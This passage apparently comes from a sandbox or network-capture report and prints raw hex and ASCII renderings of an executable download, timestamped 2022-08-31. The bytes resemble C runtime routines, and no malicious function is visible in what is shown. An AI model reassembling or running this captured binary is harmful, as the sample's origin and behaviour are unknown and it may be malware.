01 04 83 e0 40 5e c3 8b 44 24 04 56 Data Ascii: EYY3BU4AHt/9UuPPYtE9}utP5YuE}F3u4A4V2YYE}EtEjYjYD$u3V3;\|;2ArVVVVVH3^k(3AD@^D$V
2022-08-31 06:34:26 UTC	321	IN	Data Raw: 83 c6 08 83 7d e0 04 89 75 e4 72 e9 8b c7 89 7b 04 c7 43 08 01 00 00 00 e8 b1 fb ff ff 6a 06 89 43 0c 8d 43 10 8d 89 04 1b 41 00 5a 66 8b 31 41 66 89 30 41 40 40 4a 75 f3 8b f3 e8 12 fc ff ff e9 e5 fe ff ff 80 4c 03 1d 04 40 3b c1 76 f6 46 46 80 7e ff 00 0f 85 34 ff ff ff 8d 43 1e b9 fe 00 00 00 80 08 08 40 49 75 f9 8b 43 04 e8 5c fb ff ff 89 43 0c 89 53 08 eb 03 89 73 08 33 c0 8d 7b 10 ab ab ab eb b2 39 35 34 2d 41 00 0f 85 90 fe ff ff 83 c8 ff 8b 4d fc 5f 5e 33 cd 5b e8 27 b3 ff ff c9 c3 6a 14 68 e0 00 41 00 e8 22 c6 ff ff 83 4d e0 ff e8 49 eb ff ff 8b f8 89 7d dc e8 18 fd ff ff 8b 5f 68 8b 75 08 e8 b1 fd ff ff 89 45 08 3b 43 04 0f 84 57 01 00 00 68 20 02 00 00 e8 56 ef ff ff 59 8b d8 85 db 0f 84 46 01 00 00 b9 88 00 00 00 8b 77 68 8b fb f3 a5 83 23 00 Data Ascii: }ur{CjCCAZf1Af0A@@JuL@;vFF~4C@IuC\CSs3{954-AM_^3['jhA"MI}_huE;CWh VYFwh#
2022-08-31 06:34:26 UTC	322	IN	Data Raw: e8 6d b5 ff ff 59 8b 75 e4 c3 55 8b ec 51 56 8b 75 0c 56 e8 30 f6 ff ff 89 45 0c 8b 46 0c a8 82 59 75 17 e8 b3 b3 ff ff c7 00 09 00 00 00 83 4e 0c 20 83 c8 ff e9 2d 01 00 00 a8 40 74 0d e8 98 b3 ff ff c7 00 22 00 00 00 eb e3 53 33 db a8 01 74 16 a8 10 89 5e 04 0f 84 85 00 00 00 8b 4e 08 83 e0 fe 89 0e 89 46 0c 8b 46 0c 83 e0 ef 83 c8 02 66 a9 0c 01 89 46 0c 89 5e 04 89 5d fc 75 2c e8 0c c8 ff ff 83 c0 20 3b f0 74 0c e8 00 c8 ff ff 83 c0 40 3b f0 75 0d ff 75 0c e8 4a f5 ff ff 85 c0 59 75 07 56 e8 b3 24 00 00 59 66 f7 46 0c 08 01 57 0f 84 80 00 00 00 8b 46 08 8b 3e 8d 48 01 89 0e 8b 4e 18 2b f8 49 3b fb 89 4e 04 7e 1d 57 50 ff 75 0c e8 41 18 00 00 83 c4 0c 89 45 fc eb 4d 83 c8 20 89 46 0c 83 c8 ff eb 79 8b 4d 0c 83 f9 ff 74 1b 83 f9 fe 74 16 8b c1 83 e0 1f Data Ascii: mYuUQVuV0EFYuN -@t"S3t^NFFfF^]u, ;t@;uuJYuV$YfFWF>HN+I;N~WPuAEM FyMtt
2022-08-31 06:34:26 UTC	324	IN	Data Raw: ff 68 ff 00 00 00 e8 70 d1 ff ff 59 59 a1 3c 44 41 00 83 f8 01 75 0e 3b ee 74 04 8b c5 eb 03 33 c0 40 50 eb 1e 83 f8 03 75 0b 55 e8 53 ff ff ff 3b c6 59 75 17 3b ee 75 03 33 ff 47 83 c7 0f 83 e7 f0 57 56 ff 35 34 26 41 00 ff d3 8b f0 85 f6 75 26 39 05 fc 2d 41 00 6a 0c 5f 74 0d 55 e8 ce 03 00 00 85 c0 59 75 81 eb 07 e8 13 ae ff ff 89 38 e8 0c ae ff ff 89 38 5f 8b c6 5e 5b 5d c3 55 e8 ac 03 00 00 59 e8 f7 ad ff ff c7 00 0c 00 00 00 33 c0 5d c3 51 53 55 56 57 ff 35 08 34 41 00 e8 a2 de ff ff ff 35 04 34 41 00 8b f0 89 74 24 18 e8 91 de ff ff 8b f8 3b fe 59 59 72 7c 8b df 2b de 8d 6b 04 83 fd 04 72 70 56 e8 1e 22 00 00 8b f0 3b f5 59 73 4a b8 00 08 00 00 3b f0 73 02 8b c6 03 c6 3b c6 72 10 50 ff 74 24 14 e8 1f e5 ff ff 85 c0 59 59 75 17 8d 46 10 3b c6 72 3b Data Ascii: hpYY<DAu;t3@PuUS;Yu;u3GWV54&Au&9-Aj_tUYu88_^[]UY3]QSUVW54A54At$;YYr\|+krpV";YsJ;s;rPt$YYuF;r;
2022-08-31 06:34:26 UTC	325	IN	Data Raw: 2d 41 00 e8 e6 d9 ff ff 59 ff d0 85 c0 74 06 f6 45 e8 01 75 33 8d 45 f4 50 e8 9a cc ff ff 85 c0 59 74 0d 53 53 53 53 53 e8 92 bc ff ff 83 c4 14 83 7d f4 04 72 09 81 4d 10 00 00 20 00 eb 3a 81 4d 10 00 00 04 00 eb 31 a1 e0 2d 41 00 3b c6 74 28 50 e8 97 d9 ff ff 59 ff d0 3b c3 89 45 fc 74 18 a1 e4 2d 41 00 3b c6 74 0f ff 75 fc 50 e8 7b d9 ff ff 59 ff d0 89 45 fc ff 75 10 ff 75 0c ff 75 08 ff 75 fc ff 35 dc 2d 41 00 e8 5e d9 ff ff 59 ff d0 5f 5e 5b c9 c3 8b 44 24 04 53 33 db 3b c3 56 57 74 08 8b 7c 24 14 3b fb 77 1b e8 77 a8 ff ff 6a 16 5e 89 30 53 53 53 53 53 e8 fa bc ff ff 83 c4 14 8b c6 eb 3d 8b 74 24 18 3b f3 75 04 88 18 eb d9 8b d0 38 1a 74 04 42 4f 75 f8 3b fb 74 ee 8a 0e 88 0a 42 46 3a cb 74 03 4f 75 f3 3b fb 75 10 88 18 e8 2f a8 ff ff 6a 22 59 89 08 Data Ascii: -AYtEu3EPYtSSSSS}rM :M1-A;t(PY;Et-A;tuP{YEuuuu5-A^Y_^[D$S3;VWt\|$;wwj^0SSSSS=t$;u8tBOu;tBF:tOu;u/j"Y
2022-08-31 06:34:26 UTC	326	IN	Data Raw: 84 e0 40 00 8b f8 85 ff 75 56 39 05 fc 2d 41 00 74 34 56 e8 67 f9 ff ff 59 85 c0 74 1f 83 fe e0 76 cd 56 e8 57 f9 ff ff 59 e8 a2 a3 ff ff c7 00 0c 00 00 00 33 c0 e8 79 b1 ff ff c3 e8 8f a3 ff ff e9 7c ff ff ff 85 ff 75 16 e8 81 a3 ff ff 8b f0 ff 15 40 e0 40 00 50 e8 38 a3 ff ff 89 06 59 8b c7 eb d2 cc cc cc 55 8b ec 53 56 57 55 6a 00 6a 00 68 d8 7d 40 00 ff 75 08 e8 24 27 00 00 5d 5f 5e 5b 8b e5 5d c3 8b 4c 24 04 f7 41 04 06 00 00 00 b8 01 00 00 00 74 32 8b 44 24 14 8b 48 fc 33 c8 e8 bf 9d ff ff 55 8b 68 10 8b 50 28 52 8b 50 24 52 e8 14 00 00 00 83 c4 08 5d 8b 44 24 08 8b 54 24 10 89 02 b8 03 00 00 00 c3 53 56 57 8b 44 24 10 55 50 6a fe 68 e0 7d 40 00 64 ff 35 00 00 00 00 a1 20 10 41 00 33 c4 50 8d 44 24 04 64 a3 00 00 00 00 8b 44 24 28 8b 58 08 8b 70 0c Data Ascii: @uV9-At4VgYtvVWY3y\|u@@P8YUSVWUjjh}@u$']_^[]L$At2D$H3UhP(RP$R]D$T$SVWD$UPjh}@d5 A3PD$dD$(Xp
2022-08-31 06:34:26 UTC	328	IN	Data Raw: ff 34 03 ff 15 90 e0 40 00 85 c0 0f 84 25 03 00 00 8b 45 b0 01 45 a0 3b c6 0f 8c 20 03 00 00 83 7d 88 00 0f 84 9f 00 00 00 6a 00 8d 45 b0 50 6a 01 8d 85 0c 05 00 00 50 8b 07 c6 85 0c 05 00 00 0d ff 34 03 ff 15 90 e0 40 00 85 c0 0f 84 e4 02 00 00 83 7d b0 01 0f 8c e3 02 00 00 ff 45 98 ff 45 a0 eb 64 3c 01 74 04 3c 02 75 1b 0f b7 0e 33 d2 66 83 f9 0a 0f 94 c2 46 46 83 45 a4 02 89 4d ac 89 75 8c 89 55 88 3c 01 74 04 3c 02 75 39 ff 75 ac e8 e7 15 00 00 66 3b 45 ac 59 0f 85 94 02 00 00 ff 45 a0 83 7d 88 00 74 1d 6a 0d 58 50 89 45 ac e8 c7 15 00 00 66 3b 45 ac 59 0f 85 74 02 00 00 ff 45 a0 ff 45 98 8b 85 28 05 00 00 39 45 a4 0f 82 79 fe ff ff e9 63 02 00 00 8b 07 03 c3 f6 40 04 80 0f 84 25 02 00 00 8b 45 9c 33 f6 80 7d ab 00 89 75 ac 0f 85 91 00 00 00 39 b5 28 Data Ascii: 4@%EE; }jEPjP4@}EEd<t<u3fFFEMuU<t<u9uf;EYE}tjXPEf;EYtEE(9Eyc@%E3}u9(
2022-08-31 06:34:26 UTC	329	IN	Data Raw: ff ff ff e8 09 00 00 00 8b 45 e4 e8 f2 a6 ff ff c3 ff 75 08 e8 8a 14 00 00 59 c3 8b 44 24 04 85 c0 74 12 83 e8 08 81 38 dd dd 00 00 75 07 50 e8 8f 93 ff ff 59 c3 55 8b ec 83 ec 14 a1 20 10 41 00 33 c5 89 45 fc 53 56 33 db 39 1d f0 2d 41 00 57 8b f1 75 38 53 53 33 ff 47 57 68 48 f1 40 00 68 00 01 00 00 53 ff 15 24 e1 40 00 85 c0 74 08 89 3d f0 2d 41 00 eb 15 ff 15 40 e0 40 00 83 f8 78 75 0a c7 05 f0 2d 41 00 02 00 00 00 39 5d 14 7e 22 8b 4d 14 8b 45 10 49 38 18 74 08 40 3b cb 75 f6 83 c9 ff 8b 45 14 2b c1 48 3b 45 14 7d 01 40 89 45 14 a1 f0 2d 41 00 83 f8 02 0f 84 ab 01 00 00 3b c3 0f 84 a3 01 00 00 83 f8 01 0f 85 cb 01 00 00 39 5d 20 89 5d f8 75 08 8b 06 8b 40 04 89 45 20 8b 35 00 e0 40 00 33 c0 39 5d 24 53 53 ff 75 14 0f 95 c0 ff 75 10 8d 04 c5 01 00 00 Data Ascii: EuYD$t8uPYU A3ESV39-AWu8SS3GWhH@hS$@t=-A@@xu-A9]~"MEI8t@;uE+H;E}@E-A;9] ]u@E 5@39]$SSuu
2022-08-31 06:34:26 UTC	330	IN	Data Raw: 45 1c 39 5d 18 75 08 8b 07 8b 40 04 89 45 18 ff 75 1c e8 55 0f 00 00 83 f8 ff 59 75 04 33 c0 eb 47 3b 45 18 74 1e 53 53 8d 4d 10 51 ff 75 0c 50 ff 75 18 e8 7b 0f 00 00 8b f0 83 c4 18 3b f3 74 dc 89 75 0c ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 75 1c ff 15 28 e1 40 00 3b f3 8b f8 74 07 56 e8 05 8e ff ff 59 8b c7 8d 65 ec 5f 5e 5b 8b 4d fc 33 cd e8 e3 8d ff ff c9 c3 55 8b ec 83 ec 10 ff 75 08 8d 4d f0 e8 30 aa ff ff ff 75 24 8d 4d f0 ff 75 20 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 1a fe ff ff 83 c4 1c 80 7d fc 00 74 07 8b 4d f8 83 61 70 fd c9 c3 56 8b 74 24 08 85 f6 0f 84 81 01 00 00 ff 76 04 e8 9b 8d ff ff ff 76 08 e8 93 8d ff ff ff 76 0c e8 8b 8d ff ff ff 76 10 e8 83 8d ff ff ff 76 14 e8 7b 8d ff ff ff 76 18 e8 73 8d ff ff ff 36 e8 6c 8d ff ff ff Data Ascii: E9]u@EuUYu3G;EtSSMQuPu{;tuuuuuu(@;tVYe_^[M3UuM0u$Mu uuuuu}tMapVt$vvvvv{vs6l
2022-08-31 06:34:26 UTC	332	IN	Data Raw: c0 59 8b 4c 24 04 89 41 08 74 0d 83 49 0c 08 c7 41 18 00 10 00 00 eb 11 83 49 0c 04 8d 41 14 89 41 08 c7 41 18 02 00 00 00 8b 41 08 83 61 04 00 89 01 c3 6a 02 e8 e1 b0 ff ff 59 c3 55 8b ec 83 ec 14 56 57 ff 75 08 8d 4d ec e8 13 a5 ff ff 8b 45 10 8b 75 0c 33 ff 3b c7 74 02 89 30 3b f7 75 2c e8 06 8e ff ff 57 57 57 57 57 c7 00 16 00 00 00 e8 88 a2 ff ff 83 c4 14 80 7d f8 00 74 07 8b 45 f4 83 60 70 fd 33 c0 e9 d6 01 00 00 39 7d 14 74 0c 83 7d 14 02 7c c9 83 7d 14 24 7f c3 8b 4d ec 53 8a 1e 89 7d fc 8d 7e 01 83 b9 ac 00 00 00 01 7e 17 8d 45 ec 50 0f b6 c3 6a 08 50 e8 7d 0b 00 00 8b 4d ec 83 c4 0c eb 10 8b 91 c8 00 00 00 0f b6 c3 0f b6 04 42 83 e0 08 85 c0 74 05 8a 1f 47 eb c7 80 fb 2d 75 06 83 4d 18 02 eb 05 80 fb 2b 75 03 8a 1f 47 8b 45 14 85 c0 0f 8c 49 01 Data Ascii: YL$AtIAIAAAAajYUVWuMEu3;t0;u,WWWWW}tE`p39}t}\|}$MS}~~EPjP}MBtG-uM+uGEI
2022-08-31 06:34:26 UTC	333	IN	Data Raw: ff 8b 04 85 00 33 41 00 59 c6 44 30 04 00 74 0c 57 e8 23 89 ff ff 59 83 c8 ff eb 02 33 c0 5f 5e c3 6a 10 68 a0 02 41 00 e8 85 96 ff ff 8b 45 08 83 f8 fe 75 1b e8 ec 88 ff ff 83 20 00 e8 d1 88 ff ff c7 00 09 00 00 00 83 c8 ff e9 8e 00 00 00 33 ff 3b c7 7c 08 3b 05 f4 32 41 00 72 21 e8 c3 88 ff ff 89 38 e8 a9 88 ff ff c7 00 09 00 00 00 57 57 57 57 57 e8 2b 9d ff ff 83 c4 14 eb c9 8b c8 c1 f9 05 8d 1c 8d 00 33 41 00 8b f0 83 e6 1f 6b f6 28 8b 0b 0f b6 4c 31 04 83 e1 01 74 bf 50 e8 53 03 00 00 59 89 7d fc 8b 03 f6 44 30 04 01 74 0e ff 75 08 e8 d3 fe ff ff 59 89 45 e4 eb 0f e8 4e 88 ff ff c7 00 09 00 00 00 83 4d e4 ff c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 14 96 ff ff c3 ff 75 08 e8 ac 03 00 00 59 c3 56 8b 74 24 08 8b 46 0c a8 83 74 1e a8 08 74 1a ff Data Ascii: 3AYD0tW#Y3_^jhAEu 3;\|;2Ar!8WWWWW+3Ak(L1tPSY}D0tuYENMEEuYVt$Ftt
2022-08-31 06:34:26 UTC	334	IN	Data Raw: 38 30 30 30 0d 0a c3 55 8b ec 83 ec 34 a1 20 10 41 00 33 c5 89 45 fc 8b 45 10 8b 4d 18 89 45 d8 8b 45 14 53 89 45 d0 8b 00 56 89 45 dc 8b 45 08 57 33 ff 3b 45 0c 89 4d cc 89 7d e0 89 7d d4 0f 84 5f 01 00 00 8b 35 00 e1 40 00 8d 4d e8 51 50 ff d6 85 c0 8b 1d 00 e0 40 00 74 5e 83 7d e8 01 75 58 8d 45 e8 50 ff 75 0c ff d6 85 c0 74 4b 83 7d e8 01 75 45 8b 75 dc 83 fe ff c7 45 d4 01 00 00 00 75 0c ff 75 d8 e8 44 d1 ff ff 8b f0 59 46 3b f7 7e 5b 81 fe f0 ff ff 7f 77 53 8d 44 36 08 3d 00 04 00 00 77 2f e8 14 01 00 00 8b c4 3b c7 74 38 c7 00 cc cc 00 00 eb 2d 57 57 ff 75 dc ff 75 d8 6a 01 ff 75 08 ff d3 8b f0 3b f7 75 c3 33 c0 e9 d1 00 00 00 50 e8 8d d4 ff ff 3b c7 59 74 09 c7 00 dd dd 00 00 83 c0 08 89 45 e4 eb 03 89 7d e4 39 7d e4 74 d8 8d 04 36 50 57 ff 75 e4 Data Ascii: 8000U4 A3EEMEESEVEEW3;EM}}_5@MQP@t^}uXEPutK}uEuEuuDYF;~[wSD6=w/;t8-WWuuju;u3P;YtE}9}t6PWu
2022-08-31 06:34:26 UTC	336	IN	Data Raw: c3 8b 42 fc 3a c3 74 36 84 c0 74 ef 3a e3 74 27 84 e4 74 e7 c1 e8 10 3a c3 74 15 84 c0 74 dc 3a e3 74 06 84 e4 74 d4 eb 96 5e 5f 8d 42 ff 5b c3 8d 42 fe 5e 5f 5b c3 8d 42 fd 5e 5f 5b c3 8d 42 fc 5e 5f 5b c3 55 8b ec 83 ec 0c a1 20 10 41 00 33 c5 89 45 fc 56 33 f6 ff 15 1c e0 40 00 6a 07 8d 4d f4 51 68 04 10 00 00 50 ff 15 30 e1 40 00 85 c0 74 1f 8a 4d f4 84 c9 8d 45 f4 74 15 6b f6 0a 0f be c9 40 8d 74 0e d0 8a 08 84 c9 75 ef 85 f6 75 08 ff 15 04 e1 40 00 8b f0 8b 4d fc 8b c6 33 cd 5e e8 ae 78 ff ff c9 c3 6a 03 58 c3 55 8b ec 81 ec 98 00 00 00 a1 20 10 41 00 33 c5 89 45 fc 8d 85 68 ff ff ff 50 c7 85 68 ff ff ff 94 00 00 00 ff 15 48 e0 40 00 83 bd 78 ff ff ff 02 75 0e 83 bd 6c ff ff ff 05 b8 13 a3 40 00 73 05 b8 ae a2 40 00 50 68 60 1f 41 00 ff 15 10 e1 40 Data Ascii: B:t6t:t't:tt:tt^_B[B^_[B^_[B^_[U A3EV3@jMQhP0@tMEtk@tuu@M3^xjXU A3EhPhH@xul@s@Ph`A@
2022-08-31 06:34:26 UTC	337	IN	Data Raw: 8b 12 8a 12 3a ca 74 07 40 8a 08 84 c9 75 f5 8a 08 40 84 c9 74 36 eb 0b 80 f9 65 74 0c 80 f9 45 74 07 40 8a 08 84 c9 75 ef 8b d0 48 80 38 30 74 fa 8b 8e bc 00 00 00 8b 09 53 8a 18 3a 19 5b 75 01 48 8a 0a 40 42 84 c9 88 08 75 f6 80 7d fc 00 5e 74 07 8b 45 f8 83 60 70 fd c9 c3 d9 ee 8b 44 24 04 dc 18 df e0 f6 c4 41 7a 04 33 c0 40 c3 33 c0 c3 55 8b ec 51 51 83 7d 08 00 ff 75 14 ff 75 10 74 19 8d 45 f8 50 e8 5f 0a 00 00 8b 4d f8 8b 45 0c 89 08 8b 4d fc 89 48 04 eb 11 8d 45 08 50 e8 ec 0a 00 00 8b 45 0c 8b 4d 08 89 08 83 c4 0c c9 c3 6a 00 ff 74 24 10 ff 74 24 10 ff 74 24 10 e8 ad ff ff ff 83 c4 10 c3 85 ff 56 8b f0 74 14 56 e8 48 c6 ff ff 40 50 56 03 f7 56 e8 6d b0 ff ff 83 c4 10 5e c3 6a 00 ff 74 24 08 e8 7a fe ff ff 59 59 c3 6a 00 ff 74 24 08 e8 dd fe ff ff Data Ascii: :t@u@t6etEt@uH80tS:[uH@Bu}^tE`pD$Az3@3UQQ}uutEP_MEMHEPEMjt$t$t$VtVH@PVVm^jt$zYYjt$
2022-08-31 06:34:26 UTC	338	IN	Data Raw: 8b 4d f8 83 6d fc 04 88 06 8b 45 f4 0f ac c8 04 c1 e9 04 46 ff 4d 14 66 83 7d fc 00 89 45 f4 89 4d f8 7d ad 66 83 7d fc 00 7c 51 8b 57 04 23 55 f8 8b 07 0f bf 4d fc 23 45 f4 81 e2 ff ff 0f 00 e8 80 09 00 00 66 3d 08 00 76 31 8d 46 ff 8a 08 80 f9 66 74 05 80 f9 46 75 06 c6 00 30 48 eb ee 3b 45 0c 74 14 8a 08 80 f9 39 75 07 80 c3 3a 88 18 eb 09 fe c1 88 08 eb 03 fe 40 ff 83 7d 14 00 7e 11 ff 75 14 6a 30 56 e8 28 83 ff ff 83 c4 0c 03 75 14 8b 45 0c 80 38 00 75 02 8b f0 83 7d 18 00 b1 34 0f 94 c0 fe c8 24 e0 04 70 88 06 8b 07 8b 57 04 46 e8 0c 09 00 00 33 db 25 ff 07 00 00 23 d3 2b 45 ec 53 59 1b d1 78 0c 7f 04 3b c3 72 06 c6 06 2b 46 eb 0a c6 06 2d 46 f7 d8 13 d3 f7 da 3b d3 8b fe c6 06 30 7c 24 b9 e8 03 00 00 7f 04 3b c1 72 19 53 51 52 50 e8 e7 07 00 00 04 Data Ascii: MmEFMf}EM}f}\|QW#UM#Ef=v1FftFu0H;Et9u:@}~uj0V(uE8u}4$pWF3%#+ESYx;r+F-F;0\|$;rSQRP
2022-08-31 06:34:26 UTC	340	IN	Data Raw: c0 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 57 8b 7d 08 33 c0 83 c9 ff f2 ae 83 c1 01 f7 d9 83 ef 01 8a 45 0c fd f2 ae 83 c7 01 38 07 74 04 33 c0 eb 02 8b c7 fc 5f c9 c3 55 8b ec 83 ec 28 a1 20 10 41 00 33 c5 89 45 fc 53 56 8b 75 08 57 ff 75 10 8b 7d 0c 8d 4d dc e8 4e 85 ff ff 8d 45 dc 50 33 db 53 53 53 53 57 8d 45 d8 50 8d 45 f0 50 e8 04 0f 00 00 89 45 ec 8d 45 f0 56 50 e8 73 04 00 00 83 c4 28 f6 45 ec 03 75 2b 83 f8 01 75 11 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 03 58 eb 2f 83 f8 02 75 1c 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 04 eb e8 f6 45 ec 01 75 ea f6 45 ec 02 75 ce 38 5d e8 74 07 8b 45 e4 83 60 70 fd 33 c0 8b 4d fc 5f 5e 33 cd 5b e8 6e 68 ff ff c9 c3 55 8b ec 83 ec 28 a1 20 10 41 00 33 c5 89 45 fc 53 56 8b 75 08 57 ff 75 10 8b 7d 0c 8d 4d dc e8 Data Ascii: UW}3E8t3_U( A3ESVuWu}MNEP3SSSSWEPEPEEVPs(Eu+u8]tE`pjX/u8]tE`pjEuEu8]tE`p3M_^3[nhU( A3ESVuWu}M
2022-08-31 06:34:26 UTC	341	IN	Data Raw: 58 e9 95 04 00 00 83 65 08 00 56 8d 75 e0 8d 7d d4 a5 a5 a5 8b 35 b8 1f 41 00 4e 8d 4e 01 8b c1 99 83 e2 1f 03 c2 c1 f8 05 8b d1 81 e2 1f 00 00 80 89 5d f0 89 45 f4 79 05 4a 83 ca e0 42 8d 7c 85 e0 6a 1f 33 c0 59 2b ca 40 d3 e0 89 4d f8 85 07 0f 84 8d 00 00 00 8b 45 f4 83 ca ff d3 e2 f7 d2 85 54 85 e0 eb 05 83 7c 85 e0 00 75 08 40 83 f8 03 7c f3 eb 6e 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 fc 00 2b ce 33 d2 42 d3 e2 8d 4c 85 e0 8b 31 03 f2 89 75 08 8b 31 39 75 08 72 22 39 55 08 eb 1b 85 c9 74 2b 83 65 fc 00 8d 4c 85 e0 8b 11 8d 72 01 3b f2 89 75 08 72 05 83 fe 01 73 07 c7 45 fc 01 00 00 00 48 8b 55 08 89 11 8b 4d fc 79 d1 89 4d 08 8b 4d f8 83 c8 ff d3 e0 21 07 8b 45 f4 40 83 f8 03 7d 0d 6a 03 59 8d 7c 85 e0 2b Data Ascii: XeVu}5ANN]EyJB\|j3Y+@MET\|u@\|njY#yNFe+3BL1u19ur"9Ut+eLr;ursEHUMyMM!E@}jY\|+
2022-08-31 06:34:26 UTC	342	IN	Data Raw: 1f 41 00 4e 8d 4e 01 8b c1 99 83 e2 1f 03 c2 c1 f8 05 8b d1 81 e2 1f 00 00 80 89 5d f0 89 45 f4 79 05 4a 83 ca e0 42 8d 7c 85 e0 6a 1f 33 c0 59 2b ca 40 d3 e0 89 4d f8 85 07 0f 84 8d 00 00 00 8b 45 f4 83 ca ff d3 e2 f7 d2 85 54 85 e0 eb 05 83 7c 85 e0 00 75 08 40 83 f8 03 7c f3 eb 6e 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 fc 00 2b ce 33 d2 42 d3 e2 8d 4c 85 e0 8b 31 03 f2 89 75 08 8b 31 39 75 08 72 22 39 55 08 eb 1b 85 c9 74 2b 83 65 fc 00 8d 4c 85 e0 8b 11 8d 72 01 3b f2 89 75 08 72 05 83 fe 01 73 07 c7 45 fc 01 00 00 00 48 8b 55 08 89 11 8b 4d fc 79 d1 89 4d 08 8b 4d f8 83 c8 ff d3 e0 21 07 8b 45 f4 40 83 f8 03 7d 0d 6a 03 59 8d 7c 85 e0 2b c8 33 c0 f3 ab 83 7d 08 00 74 01 43 a1 cc 1f 41 00 8b c8 2b 0d d0 1f Data Ascii: ANN]EyJB\|j3Y+@MET\|u@\|njY#yNFe+3BL1u19ur"9Ut+eLr;ursEHUMyMM!E@}jY\|+3}tCA+
2022-08-31 06:34:26 UTC	344	IN	Data Raw: 24 8d 81 c8 40 00 8a c8 80 e9 31 80 f9 08 77 06 6a 03 59 4a eb dd 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 75 05 6a 05 59 eb c7 0f be c0 83 e8 2b 74 1d 48 48 74 0d 83 e8 03 0f 85 8b 01 00 00 8b ce eb ae 6a 02 59 c7 45 8c 00 80 00 00 eb a2 83 65 8c 00 6a 02 59 eb 99 8a c8 80 e9 31 80 f9 08 89 75 a8 76 a9 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 75 04 6a 04 eb ad 3c 2b 74 28 3c 2d 74 24 3a c3 74 b9 3c 43 0f 8e 3c 01 00 00 3c 45 7e 10 3c 63 0f 8e 30 01 00 00 3c 65 0f 8f 28 01 00 00 6a 06 eb 81 4a 6a 0b e9 79 ff ff ff 8a c8 80 e9 31 80 f9 08 0f 86 52 ff ff ff 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 0f 84 54 ff ff ff 3a c3 0f 84 66 ff ff ff 8b 55 ac e9 14 01 00 00 89 75 a8 eb 1a 3c 39 7f 1a 83 7d b4 19 73 0a ff 45 b4 2a c3 88 07 47 eb 03 ff 45 b0 Data Ascii: $@1wjYJM$:ujY+tHHtjYEejY1uvM$:uj<+t(<-t$:t<C<<E~<c0<e(jJjy1RM$:T:fUu<9}sE*GE
2022-08-31 06:34:26 UTC	345	IN	Data Raw: 66 8b 4d d6 66 89 4d c4 8b 4d d8 89 4d c6 8b 4d dc 0b f8 89 4d ca 66 89 7d ce eb 1a 66 f7 d8 1b c0 83 65 c8 00 25 00 00 00 80 05 00 80 ff 7f 83 65 c4 00 89 45 cc 83 7d ac 00 0f 85 6c fd ff ff 8b 45 cc 0f b7 4d c4 8b 75 c6 8b 55 ca c1 e8 10 eb 2f c7 45 94 04 00 00 00 eb 1e 33 f6 b8 ff 7f 00 00 ba 00 00 00 80 33 c9 c7 45 94 02 00 00 00 eb 0f c7 45 94 01 00 00 00 33 c9 33 c0 33 d2 33 f6 8b 7d 84 0b 45 8c 66 89 0f 66 89 47 0a 8b 45 94 89 77 02 89 57 06 8b 4d fc 5f 5e 33 cd 5b e8 43 53 ff ff c9 c3 8d 49 00 85 c2 40 00 d9 c2 40 00 2f c3 40 00 62 c3 40 00 a7 c3 40 00 df c3 40 00 f3 c3 40 00 4e c4 40 00 39 c4 40 00 b8 c4 40 00 ad c4 40 00 5c c4 40 00 55 8b ec 83 ec 74 a1 20 10 41 00 33 c5 89 45 fc 53 8b 5d 1c 56 57 8d 75 08 8d 7d f0 a5 a5 66 a5 8b 55 f8 8b ca b8 Data Ascii: fMfMMMMMf}fe%eE}lEMuU/E33EE3333}EffGEwWM_^3[CSI@@/@b@@@@N@9@@@\@Ut A3ES]VWu}fU
2022-08-31 06:34:26 UTC	346	IN	Data Raw: 33 ca 23 d3 23 f3 81 e1 00 80 00 00 66 3b d3 8d 3c 16 89 45 a8 89 45 f0 89 45 f4 89 45 f8 0f b7 ff 0f 83 fe 01 00 00 66 3b f3 0f 83 f5 01 00 00 66 81 ff fd bf 0f 87 ea 01 00 00 66 81 ff bf 3f 77 08 89 45 e8 e9 ef 01 00 00 66 3b d0 75 1d 47 f7 45 e8 ff ff ff 7f 75 13 39 45 e4 75 0e 39 45 e0 75 09 66 89 45 ea e9 d3 01 00 00 66 3b f0 75 14 47 f7 45 d8 ff ff ff 7f 75 0a 39 45 d4 75 05 39 45 d0 74 bd 83 65 ac 00 8d 45 f4 c7 45 c0 05 00 00 00 8b 55 ac 8b 75 c0 03 d2 85 f6 89 75 b0 7e 52 8d 75 d8 8d 54 15 e0 89 75 a4 89 55 b8 8b 55 a4 8b 75 b8 0f b7 36 0f b7 12 83 65 bc 00 0f af d6 8b 70 fc 8d 1c 16 3b de 72 04 3b da 73 07 c7 45 bc 01 00 00 00 83 7d bc 00 89 58 fc 74 03 66 ff 00 83 45 b8 02 83 6d a4 02 ff 4d b0 83 7d b0 00 7f bb 40 40 ff 45 ac ff 4d c0 83 7d c0 Data Ascii: 3##f;<EEEEf;ff?wEf;uGEu9Eu9EufEf;uGEu9Eu9EteEEUuu~RuTuUUu6ep;r;sE}XtfEmM}@@EM}
2022-08-31 06:34:26 UTC	348	IN	Data Raw: 16 81 fa 00 00 00 02 74 0a 3b d1 75 0f 0d 00 80 00 00 c3 83 c8 40 c3 0d 40 80 00 00 c3 83 ec 10 53 55 56 57 9b d9 7c 24 14 8b 5c 24 14 33 d2 f6 c3 01 74 03 6a 10 5a f6 c3 04 74 03 83 ca 08 f6 c3 08 74 03 83 ca 04 f6 c3 10 74 03 83 ca 02 f6 c3 20 74 03 83 ca 01 f6 c3 02 74 06 81 ca 00 00 08 00 0f b7 cb 8b c1 bf 00 0c 00 00 23 c7 bd 00 03 00 00 be 00 02 00 00 74 20 3d 00 04 00 00 74 13 3d 00 08 00 00 74 08 3b c7 75 0e 0b d5 eb 0a 0b d6 eb 06 81 ca 00 01 00 00 23 cd 74 0c 3b ce 75 0e 81 ca 00 00 01 00 eb 06 81 ca 00 00 02 00 66 f7 c3 00 10 74 06 81 ca 00 00 04 00 8b 74 24 28 8b 4c 24 24 8b c6 f7 d0 23 